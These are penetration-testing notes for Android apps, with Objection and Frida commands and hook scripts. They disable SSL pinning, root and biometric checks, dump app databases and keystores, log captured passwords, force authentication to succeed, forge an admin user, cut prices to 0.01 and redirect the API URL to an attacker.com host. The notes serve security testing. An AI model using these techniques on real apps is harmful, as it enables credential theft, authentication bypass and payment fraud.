Mobile VAPT Notes (Android)
#
Dynamic Analysis
#Objection
#Installation and Setup:
## Install objection:
pip3 install objection
# Verify installation:
objection --version
# Update to latest version:
pip3 install --upgrade objection
# Install with plugin support:
pip3 install objection[all]
# Basic connection to app:
objection -g <package_name> explore
# Connect with USB device:
objection -g com.example.app explore
# Spawn app and attach (recommended):
objection -g com.example.app explore --startup-command "android sslpinning disable"
# Connect via network (if Frida server is remote):
objection -N -h <DEVICE_IP> -p 27042 -g com.example.app explore
# Attach to running process:
objection -g com.example.app explore --attach
# Spawn with multiple startup commands:
objection -g com.example.app explore \
--startup-command "android sslpinning disable" \
--startup-command "android root disable"
# Run commands in batch mode:
objection -g com.example.app run \
"android sslpinning disable" \
"android root disable" \
"android intent launch_activity com.example.app.SecretActivity"
# OPSEC: Use quiet mode to reduce detection:
objection -g com.example.app explore --quiet
Essential Objection Commands:
#Security Bypass:
## Inside objection console:
# Disable SSL pinning (multiple methods):
android sslpinning disable
android sslpinning disable --quiet
# Verify SSL pinning status:
android sslpinning list_hooks
# Disable root detection:
android root disable
# Simulate non-rooted environment:
android root simulate
# List root detection hooks:
jobs list
# Bypass biometric authentication:
android biometrics bypass
# Disable screenshot protection:
android ui screenshot_protection disable
# Bypass debugger detection:
android hooking set return_value android.os.Debug.isDebuggerConnected false
# OPSEC: Combine multiple bypasses
# Save to startup script:
cat > objection_startup.txt << 'EOF'
android sslpinning disable
android root disable
android biometrics bypass
EOF
objection -g com.example.app explore --startup-script objection_startup.txt
Data Extraction & Analysis:#
# === SharedPreferences ===
# List all SharedPreferences files:
android preferences list
# Get specific preferences file:
android preferences get com.example.app_preferences
# Watch preferences changes in real-time:
android preferences watch
# Dump all preferences:
android preferences dump
# === SQLite Databases ===
# List all databases:
android sqlite list
# Connect to database:
android sqlite connect /data/data/com.example.app/databases/users.db
# Inside SQLite console:
.tables # List all tables
.schema users # Show table schema
SELECT * FROM users; # Query data
SELECT username, password FROM users WHERE admin=1;
.quit # Exit SQLite console
# Execute query directly:
android sqlite execute "SELECT * FROM users LIMIT 10" /data/data/com.example.app/databases/users.db
# Dump entire database:
android sqlite dump /data/data/com.example.app/databases/users.db
# === File System ===
# List files in app directory:
android filesystem ls /data/data/com.example.app/
# List with details:
android filesystem ls -la /data/data/com.example.app/
# Read file content:
android filesystem cat /data/data/com.example.app/shared_prefs/settings.xml
# Download file from device:
android filesystem download /data/data/com.example.app/databases/users.db ./users.db
# Upload file to device:
android filesystem upload ./malicious.so /data/data/com.example.app/lib/malicious.so
# List readable files (non-root):
android filesystem readable
# === Clipboard ===
# Monitor clipboard:
android clipboard monitor
# Get clipboard content:
android clipboard get
# Set clipboard content:
android clipboard set "test data"
# === Intents ===
# Launch activity:
android intent launch_activity com.example.app.MainActivity
# Launch with extras:
android intent launch_activity com.example.app.WebViewActivity \
--extra-string url file:///etc/passwd
# Start service:
android intent launch_service com.example.app.BackgroundService
# Send broadcast:
android intent send_broadcast com.example.app.CUSTOM_ACTION
# === Keystore ===
# List keystore entries:
android keystore list
# Get keystore entry details:
android keystore detail <alias>
# Clear keystore (requires root):
android keystore clear
Class and Method Hooking:
## === Search Classes ===
# Search for classes by keyword:
android hooking search classes login
android hooking search classes crypto
android hooking search classes http
android hooking search classes webview
# Search with regex:
android hooking search classes ".*Authentication.*"
# === List Methods ===
# List all methods in a class:
android hooking list class_methods com.example.app.LoginManager
# List with full signatures:
android hooking list class_methods com.example.app.LoginManager --include-parents
# === Watch Method Calls ===
# Watch method execution:
android hooking watch class_method com.example.app.LoginManager.authenticateUser \
--dump-args --dump-return --dump-backtrace
# Watch all methods in class:
android hooking watch class com.example.app.CryptoManager --dump-args
# === Modify Return Values ===
# Set method to return true:
android hooking set return_value com.example.app.AuthManager.isAuthenticated true
# Set method to return false (bypass checks):
android hooking set return_value com.example.app.RootDetector.isRooted false
android hooking set return_value com.example.app.IntegrityCheck.isModified false
# Set custom return value:
android hooking set return_value com.example.app.PriceCalculator.getPrice 0.01
# === Generate Hook Scripts ===
# Generate simple hook template:
android hooking generate simple com.example.app.LoginManager
# Generate class with all methods:
android hooking generate class com.example.app.CryptoManager
# === Advanced Hooking ===
# Hook constructor:
android hooking watch class_method com.example.app.User.$init --dump-args
# Hook native methods:
android hooking list class_methods com.example.app.NativeLib | grep native
# List current hooks:
jobs list
# Kill specific hook:
jobs kill <job_id>
# Kill all hooks:
jobs kill-all
Memory Operations:
## === Memory Inspection ===
# List loaded modules:
memory list modules
# List exports from module:
memory list exports libnative.so
# Search memory for string:
memory search "password"
# Search for byte pattern:
memory search --pattern "48 65 6C 6C 6F" # "Hello" in hex
# Dump memory region:
memory dump all /data/local/tmp/memory_dump.bin
# Dump specific address range:
memory dump 0x12345000 1024 /data/local/tmp/region_dump.bin
# === Heap Operations ===
# Search for class instances in heap:
android heap search instances com.example.app.User
# Execute JavaScript in heap context:
android heap evaluate "Java.use('com.example.app.Config').getInstance().getApiKey()"
# Print object fields:
android heap print_fields <instance_address>
# === Frida Scripts ===
# Import custom Frida script:
import /path/to/custom_script.js
# Unload script:
unload <script_name>
Advanced Objection Techniques:
## === Plugin Management ===
# List available plugins:
plugin list
# Load plugin:
plugin load <plugin_name>
# === Custom Commands ===
# Execute shell command on device:
!adb shell ls /data/data/com.example.app/
# Execute JavaScript:
android eval "console.log('test')"
# === Session Management ===
# Save session for later:
import objection_session.json
# Export current session:
export objection_session.json
# === Logging ===
# Enable verbose logging:
android debug --verbose
# Watch logcat from objection:
!adb logcat | grep com.example.app
# === Automation ===
# Create automation script:
cat > auto_analysis.txt << 'EOF'
android sslpinning disable
android root disable
android preferences dump
android sqlite list
android filesystem ls /data/data/com.example.app/
android hooking watch class_method com.example.app.LoginManager.login --dump-args
EOF
# Run automation:
objection -g com.example.app explore --startup-script auto_analysis.txt
Frida
#Basic Frida Commands
## List all processes:
frida-ps -U # USB connected device
frida-ps -R # Remote device
frida-ps -H <DEVICE_IP>:27042 # Network device
# List running applications:
frida-ps -Uai # Installed apps
frida-ps -Ua # Running apps only
# Get detailed process information:
frida-ps -Uai | grep -i <keyword>
# Attach to running process:
frida -U -n <process_name>
frida -U -p <PID>
frida -U com.example.app
# Spawn and attach (recommended):
frida -U -f com.example.app # Spawn and pause
frida -U -f com.example.app --no-pause # Spawn and continue
# Load script while attaching:
frida -U -f com.example.app -l script.js --no-pause
# Interactive REPL mode:
frida -U com.example.app
# Execute code snippet:
frida -U com.example.app -e "Java.perform(function(){ console.log('test'); });"
# Evaluate code from command line:
frida -U com.example.app --eval "Java.perform(function(){ console.log(Java.androidVersion); });"
# Attach to multiple processes:
frida -U -f com.example.app -f com.example.app2 -l script.js
# Remote device connection:
frida -H <DEVICE_IP>:27042 -f com.example.app -l script.js
# Trace specific function:
frida-trace -U -f com.example.app -j '*!*login*/isu'
# OPSEC: Use quiet mode to reduce output
frida -U -f com.example.app -l script.js -q
Frida REPL (Interactive Console)
#// Connect to app and enter REPL:
// $ frida -U com.example.app
// List all loaded Java classes:
Java.perform(function() {
Java.enumerateLoadedClasses({
onMatch: function(className) {
console.log(className);
},
onComplete: function() {
console.log("Enumeration complete");
}
});
});
// Search for specific classes:
Java.perform(function() {
Java.enumerateLoadedClasses({
onMatch: function(className) {
if (className.toLowerCase().indexOf("login") !== -1) {
console.log(className);
}
},
onComplete: function() {}
});
});
// Get class instance:
Java.perform(function() {
var LoginManager = Java.use("com.example.app.LoginManager");
console.log(LoginManager);
});
// List class methods:
Java.perform(function() {
var LoginManager = Java.use("com.example.app.LoginManager");
var methods = LoginManager.class.getDeclaredMethods();
methods.forEach(function(method) {
console.log(method.getName());
});
});
// List class fields:
Java.perform(function() {
var Config = Java.use("com.example.app.Config");
var fields = Config.class.getDeclaredFields();
fields.forEach(function(field) {
field.setAccessible(true);
console.log(field.getName() + ": " + field.getType());
});
});
// Call static method:
Java.perform(function() {
var Utils = Java.use("com.example.app.Utils");
var result = Utils.someStaticMethod("test");
console.log("Result: " + result);
});
// Get application context:
Java.perform(function() {
var ActivityThread = Java.use("android.app.ActivityThread");
var currentApplication = ActivityThread.currentApplication();
var context = currentApplication.getApplicationContext();
console.log("Package name: " + context.getPackageName());
});
// Exit REPL:
%exit
Simple Frida Scripts - Building Blocks
#1. Basic Method Hooking:
#// basic_hook.js - Hook a single method
Java.perform(function() {
console.log("[*] Starting basic hook...");
// Get the target class
var LoginActivity = Java.use("com.example.app.LoginActivity");
// Hook the login method
LoginActivity.login.implementation = function(username, password) {
console.log("[*] login() called");
console.log("[*] Username: " + username);
console.log("[*] Password: " + password);
// Call the original method
var result = this.login(username, password);
console.log("[*] Login result: " + result);
return result;
};
console.log("[+] Hook installed successfully");
});
// Usage:
// frida -U -f com.example.app -l basic_hook.js --no-pause
2. Method Overloading:
#// method_overloading.js - Handle multiple method signatures
Java.perform(function() {
var MyClass = Java.use("com.example.app.MyClass");
// Method with no parameters
MyClass.doSomething.overload().implementation = function() {
console.log("[*] doSomething() with no params");
return this.doSomething();
};
// Method with String parameter
MyClass.doSomething.overload('java.lang.String').implementation = function(str) {
console.log("[*] doSomething(String): " + str);
return this.doSomething(str);
};
// Method with int parameter
MyClass.doSomething.overload('int').implementation = function(num) {
console.log("[*] doSomething(int): " + num);
return this.doSomething(num);
};
// Method with multiple parameters
MyClass.doSomething.overload('java.lang.String', 'int').implementation =
function(str, num) {
console.log("[*] doSomething(String, int): " + str + ", " + num);
return this.doSomething(str, num);
};
// Method with array parameter
MyClass.processArray.overload('[B').implementation = function(byteArray) {
console.log("[*] processArray(byte[]): length = " + byteArray.length);
return this.processArray(byteArray);
};
});
3. Modifying Return Values:
#// modify_return.js - Change method return values
Java.perform(function() {
var AuthManager = Java.use("com.example.app.AuthManager");
// Return true instead of actual result
AuthManager.isAuthenticated.implementation = function() {
console.log("[*] isAuthenticated() called");
var originalResult = this.isAuthenticated();
console.log("[*] Original result: " + originalResult);
console.log("[*] Returning: true");
return true; // Always return true
};
// Return false for root detection
AuthManager.isRooted.implementation = function() {
console.log("[*] isRooted() bypassed -> false");
return false;
};
// Return custom object
var User = Java.use("com.example.app.model.User");
AuthManager.getCurrentUser.implementation = function() {
console.log("[*] getCurrentUser() called");
// Create new user object
var customUser = User.$new();
customUser.setId(12345);
customUser.setUsername("admin");
customUser.setRole("ADMINISTRATOR");
console.log("[*] Returning custom user");
return customUser;
};
// Modify numeric return value
var PriceCalculator = Java.use("com.example.app.PriceCalculator");
PriceCalculator.calculateTotal.implementation = function(items) {
var originalTotal = this.calculateTotal(items);
console.log("[*] Original total: " + originalTotal);
// Return $0.01 instead
var BigDecimal = Java.use("java.math.BigDecimal");
return BigDecimal.$new("0.01");
};
});
4. Constructor Hooking:
#// constructor_hook.js - Hook class constructors
Java.perform(function() {
var User = Java.use("com.example.app.model.User");
// Hook default constructor
User.$init.overload().implementation = function() {
console.log("[*] User() constructor called");
this.$init();
};
// Hook constructor with parameters
User.$init.overload('java.lang.String', 'java.lang.String').implementation =
function(username, email) {
console.log("[*] User(String, String) constructor called");
console.log("[*] Username: " + username);
console.log("[*] Email: " + email);
// Call original constructor
this.$init(username, email);
};
// Hook constructor and modify fields
var LoginRequest = Java.use("com.example.app.api.LoginRequest");
LoginRequest.$init.overload('java.lang.String', 'java.lang.String').implementation =
function(username, password) {
console.log("[*] LoginRequest constructor");
console.log("[*] Credentials: " + username + " / " + password);
// Initialize with original values
this.$init(username, password);
// Modify field after construction
this.rememberMe.value = true;
console.log("[*] Set rememberMe to true");
};
});
5. Field Access and Modification:
#// field_access.js - Read and modify class fields
Java.perform(function() {
var Config = Java.use("com.example.app.Config");
// Read static field
console.log("[*] API_URL: " + Config.API_URL.value);
// Modify static field
Config.API_URL.value = "https://attacker.com/api";
console.log("[*] Modified API_URL: " + Config.API_URL.value);
// Read instance field
Java.choose("com.example.app.Config", {
onMatch: function(instance) {
console.log("[*] Found Config instance");
console.log("[*] apiKey: " + instance.apiKey.value);
console.log("[*] debug: " + instance.debug.value);
// Modify instance field
instance.debug.value = true;
console.log("[*] Set debug to true");
},
onComplete: function() {}
});
// Access private fields
var User = Java.use("com.example.app.model.User");
Java.choose("com.example.app.model.User", {
onMatch: function(instance) {
// Get private field using reflection
var userClass = instance.getClass();
var privateField = userClass.getDeclaredField("password");
privateField.setAccessible(true);
var passwordValue = privateField.get(instance);
console.log("[*] Private password field: " + passwordValue);
// Modify private field
privateField.set(instance, "newpassword123");
},
onComplete: function() {}
});
// Watch field changes
var LoginManager = Java.use("com.example.app.LoginManager");
var originalSetter = LoginManager.setToken;
LoginManager.setToken.implementation = function(token) {
console.log("[*] Token being set: " + token);
return originalSetter.call(this, token);
};
});
6. Finding and Calling Methods:
#// method_discovery.js - Discover and invoke methods
Java.perform(function() {
// Find all methods in a class
function listMethods(className) {
var targetClass = Java.use(className);
var methods = targetClass.class.getDeclaredMethods();
console.log("[*] Methods in " + className + ":");
methods.forEach(function(method) {
console.log(" " + method.toString());
});
}
// Search for classes containing keyword
function findClasses(keyword) {
console.log("[*] Searching for classes containing: " + keyword);
Java.enumerateLoadedClasses({
onMatch: function(className) {
if (className.toLowerCase().indexOf(keyword.toLowerCase()) !== -1) {
console.log(" " + className);
}
},
onComplete: function() {
console.log("[*] Search complete");
}
});
}
// Call method on existing instance
function callMethodOnInstance(className, methodName) {
Java.choose(className, {
onMatch: function(instance) {
console.log("[*] Found instance of " + className);
try {
var result = instance[methodName]();
console.log("[*] Method result: " + result);
} catch (e) {
console.log("[!] Error calling method: " + e);
}
},
onComplete: function() {}
});
}
// Create new instance and call method
function createAndCall(className) {
var TargetClass = Java.use(className);
var instance = TargetClass.$new();
// Call method
var result = instance.someMethod();
console.log("[*] Result: " + result);
}
// Usage examples:
listMethods("com.example.app.LoginManager");
findClasses("crypto");
callMethodOnInstance("com.example.app.Config", "getApiKey");
});
7. Exception Handling:
#// exception_handling.js - Proper error handling in hooks
Java.perform(function() {
var LoginManager = Java.use("com.example.app.LoginManager");
// Basic try-catch
LoginManager.login.implementation = function(username, password) {
try {
console.log("[*] Login attempt: " + username);
var result = this.login(username, password);
return result;
} catch (e) {
console.log("[!] Exception caught: " + e);
console.log("[!] Stack trace: " + e.stack);
return false;
}
};
// Throw custom exception
var AuthManager = Java.use("com.example.app.AuthManager");
AuthManager.validateToken.implementation = function(token) {
console.log("[*] Validating token: " + token);
// Throw exception for testing
if (token === "test") {
var Exception = Java.use("java.lang.Exception");
throw Exception.$new("Invalid token");
}
return this.validateToken(token);
};
// Catch specific exception types
var NetworkManager = Java.use("com.example.app.NetworkManager");
NetworkManager.makeRequest.implementation = function(url) {
try {
return this.makeRequest(url);
} catch (e) {
// Check exception type
var IOException = Java.use("java.io.IOException");
if (Java.cast(e, IOException)) {
console.log("[!] IOException: " + e.getMessage());
}
var NetworkException = Java.use("com.example.app.NetworkException");
if (Java.cast(e, NetworkException)) {
console.log("[!] NetworkException: " + e.getMessage());
}
throw e; // Re-throw
}
};
});
8. Timing and Backtrace:
#// timing_backtrace.js - Measure execution time and get call stack
Java.perform(function() {
var CryptoManager = Java.use("com.example.app.CryptoManager");
// Measure execution time
CryptoManager.encrypt.implementation = function(data) {
var startTime = Date.now();
console.log("[*] encrypt() called at: " + startTime);
var result = this.encrypt(data);
var endTime = Date.now();
var duration = endTime - startTime;
console.log("[*] encrypt() completed in: " + duration + "ms");
return result;
};
// Get call stack (backtrace)
var LoginManager = Java.use("com.example.app.LoginManager");
LoginManager.login.implementation = function(username, password) {
console.log("[*] login() called from:");
// Get Java stack trace
var Exception = Java.use("java.lang.Exception");
var stackTrace = Exception.$new().getStackTrace();
for (var i = 0; i < stackTrace.length && i < 10; i++) {
var element = stackTrace[i];
console.log(" at " + element.getClassName() + "." +
element.getMethodName() + "(" +
element.getFileName() + ":" +
element.getLineNumber() + ")");
}
return this.login(username, password);
};
// Print full backtrace using Frida
var AuthManager = Java.use("com.example.app.AuthManager");
AuthManager.checkAuth.implementation = function() {
console.log("[*] Backtrace:");
console.log(Thread.backtrace(this.context, Backtracer.ACCURATE)
.map(DebugSymbol.fromAddress).join('\n'));
return this.checkAuth();
};
});
frida-trace - Function Tracing
#Basic Tracing:
## Trace all methods in a class:
frida-trace -U -f com.example.app -j 'com.example.app.LoginManager!*'
# Trace specific method:
frida-trace -U -f com.example.app -j 'com.example.app.LoginManager!login'
# Trace with regex pattern:
frida-trace -U -f com.example.app -j '*!*login*/isu'
# Trace multiple classes:
frida-trace -U -f com.example.app \
-j 'com.example.app.LoginManager!*' \
-j 'com.example.app.AuthManager!*'
# Trace Java methods and show arguments:
frida-trace -U -f com.example.app \
-j 'com.example.app.LoginManager!login' \
-O trace-args.js
# Trace native functions:
frida-trace -U -f com.example.app -i 'open*' -i 'read*'
# Trace native library:
frida-trace -U -f com.example.app -I 'libnative.so'
# Trace with custom handlers:
frida-trace -U -f com.example.app \
-j 'com.example.app.CryptoManager!*' \
-o trace-output.txt
# OPSEC: Trace specific time window
timeout 60 frida-trace -U com.example.app -j '*!*authenticate*/i'
Custom Trace Handlers:
#// After running frida-trace, edit generated handler files in __handlers__/
// Example: __handlers__/com.example.app/LoginManager/login.js
{
onEnter(log, args, state) {
log('[*] login() called');
log('[*] Username: ' + args[0]);
log('[*] Password: ' + args[1]);
// Save args for onLeave
state.username = args[0];
},
onLeave(log, retval, state) {
log('[*] login() returned: ' + retval);
log('[*] User was: ' + state.username);
// Modify return value
retval.replace(true);
}
}
Advanced Frida Techniques
#1. Java.choose - Find Live Instances:
#// find_instances.js - Find and interact with live objects
Java.perform(function() {
console.log("[*] Searching for User instances...");
Java.choose("com.example.app.model.User", {
onMatch: function(instance) {
console.log("[*] Found User instance:");
console.log(" ID: " + instance.getId());
console.log(" Username: " + instance.getUsername());
console.log(" Email: " + instance.getEmail());
console.log(" Role: " + instance.getRole());
// Modify instance
instance.setRole("ADMIN");
console.log("[*] Changed role to ADMIN");
},
onComplete: function() {
console.log("[*] Search complete");
}
});
// Find instances with specific criteria
console.log("[*] Searching for admin users...");
Java.choose("com.example.app.model.User", {
onMatch: function(instance) {
if (instance.getRole() === "ADMIN") {
console.log("[*] Found admin: " + instance.getUsername());
}
},
onComplete: function() {}
});
});
2. Java.cast - Type Casting:
#// type_casting.js - Cast objects to different types
Java.perform(function() {
var Object = Java.use("java.lang.Object");
var String = Java.use("java.lang.String");
// Cast to specific type
Java.choose("com.example.app.BaseActivity", {
onMatch: function(instance) {
// Cast to subclass
var MainActivity = Java.use("com.example.app.MainActivity");
try {
var mainActivity = Java.cast(instance, MainActivity);
console.log("[*] Successfully cast to MainActivity");
// Now can call MainActivity-specific methods
mainActivity.someSpecificMethod();
} catch (e) {
console.log("[-] Not a MainActivity instance");
}
},
onComplete: function() {}
});
// Check type before casting
function safeCast(obj, targetClassName) {
try {
var TargetClass = Java.use(targetClassName);
if (obj.getClass().getName() === targetClassName) {
return Java.cast(obj, TargetClass);
}
} catch (e) {
console.log("[!] Cast failed: " + e);
}
return null;
}
});
3. Java.registerClass - Create Custom Classes:
#// custom_class.js - Create custom Java classes
Java.perform(function() {
// Create custom implementation
var MyCustomListener = Java.registerClass({
name: 'com.frida.MyCustomListener',
implements: [Java.use('com.example.app.DataListener')],
fields: {
data: 'java.lang.String'
},
methods: {
onDataReceived: function(data) {
console.log('[*] Data received: ' + data);
this.data.value = data;
},
getData: function() {
return this.data.value;
}
}
});
// Use custom class
var listener = MyCustomListener.$new();
// Register with app
Java.choose("com.example.app.DataManager", {
onMatch: function(instance) {
instance.setListener(listener);
console.log("[*] Custom listener registered");
},
onComplete: function() {}
});
});
4. Interceptor.attach - Native Function Hooking:
#// native_hooking.js - Hook native functions
// Hook libc functions
Interceptor.attach(Module.findExportByName("libc.so", "open"), {
onEnter: function(args) {
var path = Memory.readUtf8String(args[0]);
console.log("[*] open() called: " + path);
// Block specific file access
if (path.includes("/proc/")) {
console.log("[!] Blocking access to: " + path);
args[0] = Memory.allocUtf8String("/dev/null");
}
},
onLeave: function(retval) {
console.log("[*] open() returned: " + retval);
}
});
// Hook custom native library
var nativeLib = Process.findModuleByName("libnative.so");
if (nativeLib) {
var encryptFunc = nativeLib.findExportByName("Java_com_example_app_Native_encrypt");
Interceptor.attach(encryptFunc, {
onEnter: function(args) {
console.log("[*] Native encrypt() called");
// args[0] = JNIEnv*
// args[1] = jobject (this)
// args[2] = first parameter
var data = Java.vm.getEnv().getStringUtfChars(args[2], null).readCString();
console.log("[*] Data to encrypt: " + data);
},
onLeave: function(retval) {
console.log("[*] Native encrypt() returned");
}
});
}
// Hook by address (if symbol not exported)
var baseAddr = Module.findBaseAddress("libnative.so");
var targetAddr = baseAddr.add(0x1234); // Offset from IDA/Ghidra
Interceptor.attach(targetAddr, {
onEnter: function(args) {
console.log("[*] Function at offset 0x1234 called");
console.log("[*] arg0: " + args[0]);
console.log("[*] arg1: " + args[1]);
},
onLeave: function(retval) {
console.log("[*] Return value: " + retval);
}
});
5. Memory Operations:
#// memory_operations.js - Read/Write memory
// Read memory
var someAddress = ptr("0x12345678");
var value = Memory.readU32(someAddress);
console.log("[*] Value at address: " + value);
// Read string
var stringAddress = ptr("0x23456789");
var str = Memory.readUtf8String(stringAddress);
console.log("[*] String: " + str);
// Write memory
Memory.writeU32(someAddress, 0x41424344);
console.log("[*] Wrote value to memory");
// Allocate memory
var buffer = Memory.alloc(256);
Memory.writeUtf8String(buffer, "Hello from Frida");
// Search memory for pattern
Memory.scan(Module.findBaseAddress("libnative.so"), Process.pageSize, "48 8B 05", {
onMatch: function(address, size) {
console.log("[*] Pattern found at: " + address);
},
onComplete: function() {
console.log("[*] Memory scan complete");
}
});
// Protect memory region
Memory.protect(someAddress, 4096, 'rwx');
// Copy memory
var source = ptr("0x12345000");
var dest = Memory.alloc(1024);
Memory.copy(dest, source, 1024);
6. Script Communication (RPC):
#// rpc_example.js - Remote Procedure Calls
Java.perform(function() {
// Export functions to Python/CLI
rpc.exports = {
// Simple function
login: function(username, password) {
var result = false;
Java.choose("com.example.app.LoginManager", {
onMatch: function(instance) {
result = instance.login(username, password);
},
onComplete: function() {}
});
return result;
},
// Get user info
getUserInfo: function() {
var info = {};
Java.choose("com.example.app.model.User", {
onMatch: function(instance) {
info.username = instance.getUsername();
info.email = instance.getEmail();
info.role = instance.getRole();
},
onComplete: function() {}
});
return info;
},
// Modify app state
enableDebugMode: function() {
var Config = Java.use("com.example.app.Config");
Config.DEBUG.value = true;
return "Debug mode enabled";
},
// Execute arbitrary code
executeCode: function(code) {
try {
return eval(code);
} catch (e) {
return "Error: " + e;
}
}
};
});
// Python script to call RPC functions:
/*
import frida
import sys
def on_message(message, data):
print(message)
device = frida.get_usb_device()
session = device.attach("com.example.app")
with open("rpc_example.js") as f:
script = session.create_script(f.read())
script.on('message', on_message)
script.load()
# Call exported functions
result = script.exports.login("admin", "password123")
print(f"Login result: {result}")
user_info = script.exports.get_user_info()
print(f"User info: {user_info}")
script.exports.enable_debug_mode()
*/